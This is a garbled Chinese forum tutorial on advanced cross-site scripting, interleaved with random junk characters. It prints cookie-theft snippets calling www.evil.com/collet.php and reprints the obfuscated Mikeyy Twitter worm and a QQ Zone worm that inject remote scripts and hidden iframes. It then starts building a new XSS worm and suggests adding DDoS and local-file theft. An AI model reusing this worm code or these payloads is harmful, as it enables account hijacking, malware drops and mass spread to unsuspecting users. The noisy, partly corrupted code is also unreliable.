+ C& }* H7 k5 j) \; B: _# xhttp_access deny TRACE, @/ ~' p$ l5 U, Q8 j
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");( ]& D7 [! v7 n; b! S
" D& P2 K+ b; Q1 Q: E& j7 zXmlHttp.open("GET","http://www.google.com",false);
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$ }! r( V9 u; l0 {! ~2 ~4 m$ y+ NXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
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</script>0 n ~' j5 a5 R& {
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
; {: F8 j4 J( C2 M' N# J8 o' ]4 d: v+ J7 r" Z8 U( S" G. }
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");5 [, S+ t& ]+ w
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5 x. k+ Y5 s. \( M$ ~$ O! e
8 l; P4 \0 y4 J, [4 N/ aXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);- D4 x* s1 q# F4 O2 q- N
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XmlHttp.send(null);
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; c* v! T( A* O1 z: a! o3 }<script>
* C/ ~+ o( {9 }# v复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.2 o; s& s" d5 a0 P2 y+ f, k; K- u
复制代码案例:Twitter 蠕蟲五度發威
* n" ]" B1 T8 k8 k' V1 g3 o第一版:
+ B$ s. N" l( P" R: l7 n+ ^1 C/ u y 下载 (5.1 KB)0 `- }' h+ W4 O9 _
# Q. | B' }' M2 e
6 天前 08:27
* m5 s7 B" u& {. l
/ f& _- x; }% x( J% w' J" k1 k& j% B第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; . F5 V) R3 x6 h
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3. function XHConn(){ $ Y% L2 \! l0 @* t L
1 T3 l# o4 M7 L" Y5 f2 i3 c3 g 4. var _0x6687x2,_0x6687x3=false; 9 ^# t' b( h- C5 b
$ @* R5 u: ~5 |/ h( l 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } ) S+ ]8 Y7 u8 ^) W! M u, q5 V9 `- X- W
- M1 x2 i4 ]( j- j5 ]. M
6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } ' v4 h; e1 b6 f: p1 W- V
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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% S$ D {1 w$ ~5 [9 |; }! e8 D 8. catch(e) { _0x6687x2=false; }; }; }; : P1 z6 c4 s/ U# f$ k, ~4 h8 T! x
复制代码第六版: 1. function wait() { ) V$ E7 \8 V P' a. K
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2. var content = document.documentElement.innerHTML; 2 w5 P/ y9 E5 y
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3. var tmp_cookie=document.cookie;
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4. var tmp_posted=tmp_cookie.match(/posted/); 1 f$ E) w0 G& n$ P7 K. u
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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U5 o# J* ?$ W( ? 6. var authtoken=authreg.exec(content); 7 d' A& J! d1 J2 [
6 U' T5 i& d" K9 L3 h/ j 7. var authtoken=authtoken[1]; 4 v5 x9 \' E+ r$ }5 `5 m5 {# g
3 X7 e4 K3 O2 s2 m; k& u 8. var randomUpdate= new Array(); / {, d. x2 d2 P- Q$ {
8 z7 t( |$ S5 h$ X0 H' G
9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; t. Q3 q- e' g7 f
9 B- l; S3 @ e 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; 3 M8 O6 |% C! u2 y' k/ R
& K# k8 c' {* s+ m( o$ N" l0 ^, g1 H, { 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; : A& K5 Y! q1 s+ r) N7 g0 ^) E$ T
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; 5 w6 I3 \4 e% q% i/ {# h# m/ p9 D
+ i( s" _! ^) D! _0 \6 I 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
+ J# {; h" k+ X( S# f, J9 G4 e* S* y2 s* Y2 b# t' o$ Y! h" ~ J& o' [
16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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6 d' r" W5 M6 \; U7 d 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; " `! E* t3 _7 f# V- Z) U7 _/ N
, j3 `* k1 G0 z4 {) M 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; 8 {- E0 R( Q' I. |4 @; l* j
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 6 @6 }5 [" @" a" [. s7 z3 ]
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; ; L* E, s! N1 p8 j: S
+ c* f: g4 Y0 r$ z Q0 Q8 {0 t. o 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; / m( X/ q5 {3 V3 u
* T- [; b* {" M: t 24. $ Z& {. [" C# q/ f% T0 Q0 R7 B* k& f- W
6 `, R" v) q% `; o
25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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26. var updateEncode=urlencode(randomUpdate[genRand]);
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8 e, N2 P0 N- C9 B; F6 W& [ 27.
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! e1 U( N" a- }! x5 T2 U/ K4 e" r 28. var ajaxConn= new XHConn();
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: ^ m1 P+ V; z/ S. U: I/ w 29. ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
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3 V* m6 M1 b! h G9 J 30. var _0xf81bx1c="Mikeyy"; 2 Z0 j* P5 O; t2 g. {: t. N
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31. var updateEncode=urlencode(_0xf81bx1c);
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& h8 n6 l( M: X( K 32. var ajaxConn1= new XHConn(); 2 [1 ]) E& S" e( S: L" w
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33. ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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35. var XSS=urlencode(genXSS);
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- S0 \$ n: ~; x9 [" Z0 C$ Q# d 36. var ajaxConn2= new XHConn();
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37. ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); ! t, G- n$ G' s F6 D% `. j3 s
9 s: c6 @, {! U2 y) S4 f 38. ( w2 E1 b9 s$ b! ?
' s0 L1 ~0 Q$ g
39. } ; % C- D' J* k7 C. g( z
* r+ o* f' a: U 40. setTimeout(wait(),5250);
, C% w8 L* m* r5 j0 v% A* L) s' C复制代码QQ空间XSSfunction killErrors() {return true;}
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5 L- x/ b4 r; ?3 B, j7 swindow.onerror=killErrors;
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& C. E' F) _/ N; }var shendu;shendu=4;
% |! o; u6 M8 j7 s0 o0 ?8 N
* H+ ?5 q9 Y$ o! w//---------------global---v------------------------------------------; X }( [6 C" t4 E1 p$ l. Z
5 p9 X* w1 h6 N- \5 K* O
//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?+ T8 u6 {: W1 I+ e# M
! T4 l& k% X3 evar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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var myblogurl=new Array();var myblogid=new Array();
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var gurl=document.location.href;( t4 G' i/ h5 l8 N- D
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var gurle=gurl.indexOf("com/");
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( ^0 y# y! M6 x" ^" ^ gurl=gurl.substring(0,gurle+3);
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var visitorID=top.document.documentElement.outerHTML;
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$ \8 T V# b( c8 D; s var cookieS=visitorID.indexOf("g_iLoginUin = ");* P% h2 n' u2 b& S
- q3 y% [; j X2 S" `/ w% c visitorID=visitorID.substring(cookieS+14);
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cookieS=visitorID.indexOf(",");8 M' g/ J0 e a' Q9 }2 Q
5 @! m- K7 ]3 [4 W# B- M visitorID=visitorID.substring(0,cookieS);
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get_my_blog(visitorID);
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DOshuamy();: y0 C) M7 @: P+ K% Z v
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& M6 T! X, |/ w& |. H& u
//挂马# t4 {% R6 j* D+ m8 A
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function DOshuamy(){, T$ k# z* [* V6 s( G
' I; R1 T# `0 f# n7 Q4 s0 @var ssr=document.getElementById("veryTitle");
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");1 y9 R- v0 L& A8 W/ h2 [
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}
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$ `5 C1 w# o' S3 Y' _. j
8 P( G' y) d) Y//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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0 }, E) @7 {# zfunction get_my_blog(visitorID){
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";2 i0 k5 T0 h2 ]: I
: {$ l- C. I! S: A xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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if(xhr){ //成功就执行下面的
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- N0 D2 G6 f4 C- w) p6 S; b7 d xhr.open("GET",userurl,false); //以GET方式打开定义的URL8 ~* n6 r* X- h: d$ N+ T
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xhr.send();guest=xhr.responseText;
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get_my_blogurl(guest); //执行这个函数
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}; ~- \9 P; l* D6 z/ E2 R4 k( A4 ]
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//这里似乎是判断没有登录的7 z7 F0 `6 k0 f2 ?1 ~
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function get_my_blogurl(guest){
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% W) j+ f) F: m$ } var mybloglist=guest;1 {+ H( ?9 e6 n7 F8 c3 T6 Z
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var myurls;var blogids;var blogide;/ l' D7 Q- F. X* h
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for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了% c6 g1 Z5 M8 `3 b0 g. r
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if(myurls!=-1){ //找到了就执行下面的
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3 W: q; c0 e7 w( Y& d& b* p" c3 z8 o+ O mybloglist=mybloglist.substring(myurls+11);, I. L- U3 A/ h/ v
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myurls=mybloglist.indexOf(')');& V* K( B5 k0 s
9 n: N$ }2 R. _0 Z' V myblogid=mybloglist.substring(0,myurls);2 h- f7 P0 o8 K$ n2 g7 }
, z! _8 Q4 [/ Z1 k% N3 C }else{break;}
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get_my_testself(); //执行这个函数' p6 p6 L/ P6 `5 A$ L" J* n2 N( L0 v8 n
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& x" c5 b4 G' L4 D! o" Q% c0 U! z+ a//这里往哪跳就不知道了
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function get_my_testself(){$ \- W! C/ q6 Q @, W A3 ~/ Z5 z, [
0 v" k( |$ F* _: {0 r
for(i=0;i<myblogid.length;i++){ //获得blogid的值
5 d, x$ n: b! s/ f
+ P5 y/ h0 c7 m% q b' b7 x var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();( x; e0 O( e4 x+ I' U
5 j: g5 Z5 l* b$ G/ z9 c5 P8 g/ Z var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象& L# U" R7 f6 V# A' c- g }
1 R$ Z, j5 X+ l; H8 W if(xhr2){ //如果成功( i7 \) u. h. ^! h- b
; n W+ Q3 P. o3 \" F- S9 S
xhr2.open("GET",url,false); //打开上面的那个url
* g* c8 `6 L# ?: ]5 ?! z/ ]3 v4 x4 S
xhr2.send();/ Q2 }9 K2 m5 z
9 ?& k3 Y& F/ N! n, E& x guest2=xhr2.responseText;. D& B; |7 D6 M6 t3 z% O" b1 l% x/ ]2 U
& u0 V: l- N- S7 x% D) h8 Z# \ var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?% ~, A! i1 _- g0 P5 X& z7 i9 M; V$ N
2 [% F% _+ P7 U9 y0 k var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串$ I8 U" n! Z% Y! ?" r
( E. g/ t. I0 Y# k) y if(mycheckmydoit!="-1"){ //返回-1则代表没找到
2 A- b9 |' W4 o" A$ W: q% l5 W4 ~% G2 M4 z* k+ v* |7 c
targetblogurlid=myblogid;
8 L2 Q; M3 a/ k
3 z, J# v7 X+ U0 g8 K2 U& Z add_jsdel(visitorID,targetblogurlid,gurl); //执行它
0 h8 P/ x0 X o2 O8 D' ]
" O2 U+ F& e) B+ n! A) C l7 j break;+ V" |4 ]6 f* h: M2 ~ Z# |4 S# E
2 |7 ` W O }5 i, w. O& ` }' J q; ]7 G& e4 v
0 ^- l0 ~" V( n+ }) X+ O0 |( s9 `
if(mycheckit=="-1"){% h( K: J3 N9 k, v& ]
# Y& T5 q+ A$ c3 m5 W
targetblogurlid=myblogid;* p2 E L$ p% \" m6 \. B
. S8 t% j; K( R' u1 M% S, Y+ J add_js(visitorID,targetblogurlid,gurl); //执行它
" R) I6 l$ G$ G! @( k [" u/ E5 l5 g- e" s# P* _0 W$ _
break;9 H3 \$ u) v9 J; h
+ x! E! g" _/ Q1 w* o# v! ?* z
}
& {5 u3 Y. \8 Y& w; b4 o) J8 H- C) i
- Y( g+ @& O5 O- o! e: k! O3 |) U }
2 v2 ~4 W- J# d
. e$ v% `( p; D4 P5 X. j4 @}1 `' o& _& {& q. d# d
3 d4 s# k- ?6 S& G}
3 _" D& r. d8 J3 ~: v# a, W2 b4 `- b: E( j' |) y
: o( h! `) D& N: k; P4 @3 r
3 c0 K4 \$ d( u: r! g- X
//-------------------------------------- 4 I. ?2 q- x6 _7 m
% m5 J3 W7 w ]- E* _# x& U; U4 ]; S
//根据浏览器创建一个XMLHttpRequest对象& A k% ?( p) K( U3 }
8 L) Y% i/ ^' n* P8 ^
function createXMLHttpRequest(){+ ~7 v' ~7 Q$ Z# j p7 R$ Q1 b( {5 [
% r+ Q7 k* [- k0 L6 E var XMLhttpObject=null;
7 n' ^ ?5 f1 ]7 x% O; o B7 _. f$ r2 ~6 ]2 c* L
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
1 y- q5 r) R7 q, o# ~( ^. _' ^0 L; d' q j
else 0 q, z4 h _6 z$ e
( a+ }# {* s2 z8 B
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
9 g( ]& }+ R; l! a( J
8 V1 P* ^, i4 \1 Z5 [7 i for(var i=0;i<MSXML.length;i++)
$ S+ o9 M3 m0 k( O9 F0 {7 _2 o) D: ?, k
{ ! k7 ~/ Q0 Z0 b& j4 q
: w ^; Q' X2 R# Z" Z try
2 @; E2 f9 E* y. B* J6 V: y0 w: z. z z& [; X7 x+ E
{
% Y2 m# x; u/ b h
. B# ?0 N( @* M! @1 o2 X9 b XMLhttpObject=new ActiveXObject(MSXML); ! n- x6 O3 ?+ d( Q0 Y* j, a5 P
1 R& U% ?5 n- U7 }; H# u break;
$ w. e4 K% V, g. t$ q& T
; C5 F% {2 A9 h b! k; I }
6 J. V& J6 m5 g9 e; y3 u
3 h" F; ~/ W4 Y/ M catch (ex) {
* B& `% k9 J% z- k9 Q* l \
- c5 S v; F5 X }
& u) h0 b. m% J1 L9 T- D/ S w% Z+ s" I& J5 i' Q8 ~( y6 L C2 V
}
1 Z1 L, D. c6 U v7 a2 c
# U' R! V% k q1 l! | }
* l) Y3 T3 z3 v+ w' j
; U' g- `: U. s0 Breturn XMLhttpObject;
0 ?" q1 Q1 v+ S8 w7 w0 C% l
1 p* L) \( q8 L9 M& D}
" }% t5 A: M2 c2 ~; L
' L4 Q3 c; Q1 t
' i; Y0 k K: v" m' d* E: |' Z7 W% v- i
//这里就是感染部分了
" ]9 X$ R5 s/ _1 K8 i7 H( }1 a e, F6 H" M- L; I4 u( R9 |7 j
function add_js(visitorID,targetblogurlid,gurl){
& M4 n# o" T; n% R7 f
' d, s, t, f* M8 U% rvar s2=document.createElement('script');# f4 t* O9 c e$ E! L
5 r) [& X, t6 n% ps2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
4 p$ v4 s! y$ ?& h+ Y( F8 V7 M
$ s5 [1 q* D2 k: p0 As2.type='text/javascript';$ \, u) g! Z: o: `1 L9 l
' D$ K; q, ?4 Z4 sdocument.getElementsByTagName('head').item(0).appendChild(s2);
3 C8 T. Q, n9 o& _# M
( O9 x/ q9 D$ Q6 S( u& ~2 f; D}
) q. s% ?2 l" m) H# y1 A, a" Y* u' ] z5 e Q& _$ m
* d; P. n: t0 |; M( M! d+ i
* I( @4 T4 o" A0 a) J* U3 f# Mfunction add_jsdel(visitorID,targetblogurlid,gurl){
) B/ {7 g' j8 A$ C5 m, Q+ ?
/ u6 A$ P$ t6 b" `7 Dvar s2=document.createElement('script');6 ^ v; Q# h5 j0 q% I$ Z; M
( b+ B& {/ P) d! I: E/ ~) ps2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
2 v1 |( T: U6 O t
( g% U) @5 `! S, S4 `, ls2.type='text/javascript';
+ M7 j5 Y; A& _, V8 x5 X% u+ T9 \( Z6 Q6 m0 _' c) f
document.getElementsByTagName('head').item(0).appendChild(s2);" Y U5 z9 l/ v. A
3 f! H/ t2 P7 A
}
3 b" y( {0 n4 m复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
- z6 q/ H! L" A& O7 {7 `1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
8 ?4 ]$ k ~" @- u$ D, x5 I/ q1 Q4 K2 f* c# H$ D. T s4 X
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
( B" {- t: X6 ]; @4 W1 {* o
% @/ l+ q- h+ a A$ J: W综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~+ G* ]0 I5 y/ d4 ?% Q T& J K. A
) M! P0 S" }9 O4 Q
* k; ?9 n! C! Y+ h" n" l- y下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
+ G, q, F B! I+ ^; g$ _) ~7 C
) S% ]4 b- I; R7 f y首先,自然是判断不同浏览器,创建不同的对象var request = false;9 \5 \- p7 b5 T' u7 F* g: x) D
K6 T4 S( n. `6 {. @. hif(window.XMLHttpRequest) {, g5 {+ R7 n" s
& {, |' L( }( ]* _
request = new XMLHttpRequest();3 h) L2 e' u% n" P
9 z3 v$ ]# p9 M+ H* Zif(request.overrideMimeType) {$ E# L9 |& O% S" O4 v9 h: }
3 J( A- w. Z/ x: E8 |% c
request.overrideMimeType('text/xml');; Z L; R! ?9 e6 r
! g" t7 { H" ~/ X" E
}7 d$ [0 b4 y, ]$ G, t: ?. a
' T% |% k" R9 i3 {6 c8 a} else if(window.ActiveXObject) {
' i1 M9 J5 i/ s* `3 f9 h2 P+ G- a$ f8 ^/ |3 D
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 k( A3 v7 d- P4 j: H8 ?* i- b& V" Z$ D
for(var i=0; i<versions.length; i++) {
9 _- k4 u* Z& c. T9 C/ L; U
3 \, `" h* N1 m4 o( X, Stry {* ?, l6 E5 n1 d5 c) I
: p1 c$ Z% C6 g; v
request = new ActiveXObject(versions);
2 y6 z2 j5 n' e$ b, ?. x8 h# V/ m. t7 g6 s! {) R8 d* q
} catch(e) {}
/ J: b1 d. y1 g, i C; p/ D
/ U' E \- S) o}2 L/ n) u% x F) {4 C& X. V
1 O+ F% b; j. c# \+ p3 f}7 Y; @6 w! }$ U2 R2 f
2 F; k7 y( y. r- v5 PxmlHttpReq=request;, o# L; y( w+ j9 |5 l$ f1 B
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
$ Z, Z, x% {; M7 X1 e6 U5 D/ t- q" D8 p. E4 L! t& l
var Browser_Name=navigator.appName;( e- i* m) ^7 H2 U& H3 | q# F9 _9 C
: R' j$ z# Z" a0 Q4 @8 ?! R var Browser_Version=parseFloat(navigator.appVersion);
) O( z) Z1 Z- I' e' | R7 N
$ l: a& m) \! h0 c1 K2 w" d' j* E var Browser_Agent=navigator.userAgent;
- W+ L( G6 r9 \. _+ e% X/ f0 @% V3 c8 Q& f7 q
+ y8 B: l' L7 U( ^: ?
, o% @. Y$ R3 g; \0 Y
var Actual_Version,Actual_Name;& T7 K; |( J, F; Q$ n
E' O3 _& W/ j1 [+ T1 J; r @* J+ r, P, T& A
2 {: L+ o1 u( a. C; }! T. [2 [ var is_IE=(Browser_Name=="Microsoft Internet Explorer");
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var is_NN=(Browser_Name=="Netscape");
% b" ~+ S9 E# k- W
- }( W/ [/ k' o% B) l4 U1 b var is_Ch=(Browser_Name=="Chrome");' q* L% ~$ i/ [7 a) C
8 q" `: ~* f+ m
" {! {+ K+ }2 z6 h
1 l( a! F. h2 G9 y7 m' Z
if(is_NN){, T3 E) J* I- y/ |* x( s
- e* M' }; ?* E3 O9 C" P1 h
if(Browser_Version>=5.0){
# b, ~4 K7 M( O& e0 ]
1 |& V: Q) e1 H) Z9 J, N( z6 I var Split_Sign=Browser_Agent.lastIndexOf("/");
% D1 \1 n0 m( w6 C2 v! O
" j3 d: c' P" _( w2 n$ H, C/ H var Version=Browser_Agent.indexOf(" ",Split_Sign);
* I2 I$ u- _- c6 @: y: h
, N( ?3 r4 _& J; b" v3 q var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);6 s" p" z9 A4 [' I! ]9 @3 p
% Z3 |1 J3 \: j0 Z. L" F
" y: q m8 H1 H4 W& ^6 V( h
& j& H% ?3 v3 a Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
) n& f1 L- |4 R6 D
' r. o9 W: Z* a" w$ Q- Y3 k Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);# Q) S' y$ v) x. d3 N
4 H2 p- v; j/ v
}1 ~3 r# D# @( j. U7 y
" \+ ^1 B3 b h; U! S: | else{8 ]% O ]" [% F9 ~6 r- Q
7 x. F. L5 S7 U4 `2 g Actual_Version=Browser_Version; n' ]' E7 d, Q. u
5 S6 D2 j* n9 [, Z
Actual_Name=Browser_Name;+ g: M* e) p1 Y: |) x! o: _
3 {7 M% x& z5 ^ f5 ?' R }
% ~2 S u: ~3 l% i7 N+ g4 @2 a: X+ J0 T' e! A' n
}( A$ A' `2 E$ d
% O" S! Y: p3 S' {# x# R
else if(is_IE){9 C& C3 r. {' u2 I4 }" W8 d. n
3 M7 a& P" O0 e3 ]* `. `6 [( l. s var Version_Start=Browser_Agent.indexOf("MSIE");
. g3 o {9 Q: k1 t. n; ]/ x3 M' \4 G9 S' E0 u- {
var Version_End=Browser_Agent.indexOf(";",Version_Start);
- {" a% B* z; d0 M8 ?* V$ F0 X
) {' z, X0 F* ?# F' L Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
3 J- k! t' D; _/ n2 w% H6 v2 G2 r& ^
Actual_Name=Browser_Name;
' c4 f( \6 M6 i4 n, s4 _# O& H6 \, g# m9 t$ r- u. L4 Z
% x# t" o. x7 g4 L' n9 ^* `
3 N3 x5 n, F6 v if(Browser_Agent.indexOf("Maxthon")!=-1){
& @/ W- u, K% u( C( D% R2 N' G0 x) N& \/ }
Actual_Name+="(Maxthon)";
% k' g5 t; Z# B6 o$ S+ N$ K' `% i
! B- L1 J$ u( q p* N) S8 Y6 R: q9 f }
. h+ o5 `- ?% _) P8 g- |: Y$ k
. \, u# [! e0 ^/ w4 `* S) S else if(Browser_Agent.indexOf("Opera")!=-1){
; `( Q' `7 k! ~/ W: Y2 L+ R; V3 ?) R" Q" i$ N+ f7 T7 h: e
Actual_Name="Opera";/ s8 W3 B7 d/ {
9 Y$ E- ?3 u# c7 q( F3 @4 H
var tempstart=Browser_Agent.indexOf("Opera");0 a) j: H) n8 f9 \4 u
, b2 x7 D1 H* E/ n var tempend=Browser_Agent.length;' `, [6 J2 T7 a9 L( G# L
Q3 {. f0 m: ^' K7 W
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)4 T' U9 u% T% i. W# v
6 J6 C8 [* X6 p- U4 c, n( ^ }
8 r4 a. `! J) i5 t# F K* b% c! p1 u1 [6 c6 z( ~ n
}: ?+ b5 \1 d3 p# b6 b# A( a
, J' e) T. v' C+ h! B+ V+ H8 P' e
else if(is_Ch){
1 l2 Y: l1 H% ~$ U' q! N3 ~8 x. o/ k3 [, b; E1 ]
var Version_Start=Browser_Agent.indexOf("Chrome");* l2 Q- D+ w; m* h6 J: R
b% w: ~- _8 i# L" f! @
var Version_End=Browser_Agent.indexOf(";",Version_Start);
5 U: R' n9 J' X
4 l# ?# ^1 K0 {% N( `6 z Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End). c% i5 k: S! ?
! ?# a5 g6 w( T7 ~, e; L: T
Actual_Name=Browser_Name;$ E4 f. I' O0 l3 [* B! K% _
2 A" n# c* Y6 T) F* G. p A
/ {; J, Z: P# w' Y
( @% X8 q& G' J if(Browser_Agent.indexOf("Maxthon")!=-1){
3 v2 @# \! Y9 M4 d4 B; p" I7 z" ^* T# I* t- L% ?! p/ I* K* ]2 f
Actual_Name+="(Maxthon)";4 p! Y5 p4 B0 S$ a& q
3 O/ }' R! Q8 @' A) A8 V4 @* n( x
}
4 I2 Z8 Z. o8 z0 g6 R
1 `" V. r# {- j. {# g else if(Browser_Agent.indexOf("Opera")!=-1){4 i& G6 k% h0 }+ f+ g8 p8 Q
& D9 x, g2 c C
Actual_Name="Opera";4 b0 E* Y2 N4 `6 ^
0 b2 S1 l- ?& L5 O2 f/ `. F9 _
var tempstart=Browser_Agent.indexOf("Opera");3 ~5 E+ F/ Y3 y) p0 o
' D# V. _5 T& t
var tempend=Browser_Agent.length;( g3 {0 {% `" y2 g* ^
~! K8 q' l5 O$ ^4 ^3 H: f0 `
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
0 a) {7 z$ c. P6 o8 p; S
( X' C" a9 [" P1 d3 D }! R5 W5 A0 t' a! h0 f8 C' q* u
. p4 h, |: w+ x }
0 n9 Z1 F9 ]4 m m
6 w9 e0 n" X. @3 M! j& @ else{
+ L5 s( j1 I3 s% f! j( {
4 M4 ?) G; R0 R% ~5 u X: x# F3 d Actual_Name="Unknown Navigator", b' o) S& d: x& h& n! H( G
' C8 \, I5 u% p& N; z) Q" r Actual_Version="Unknown Version"
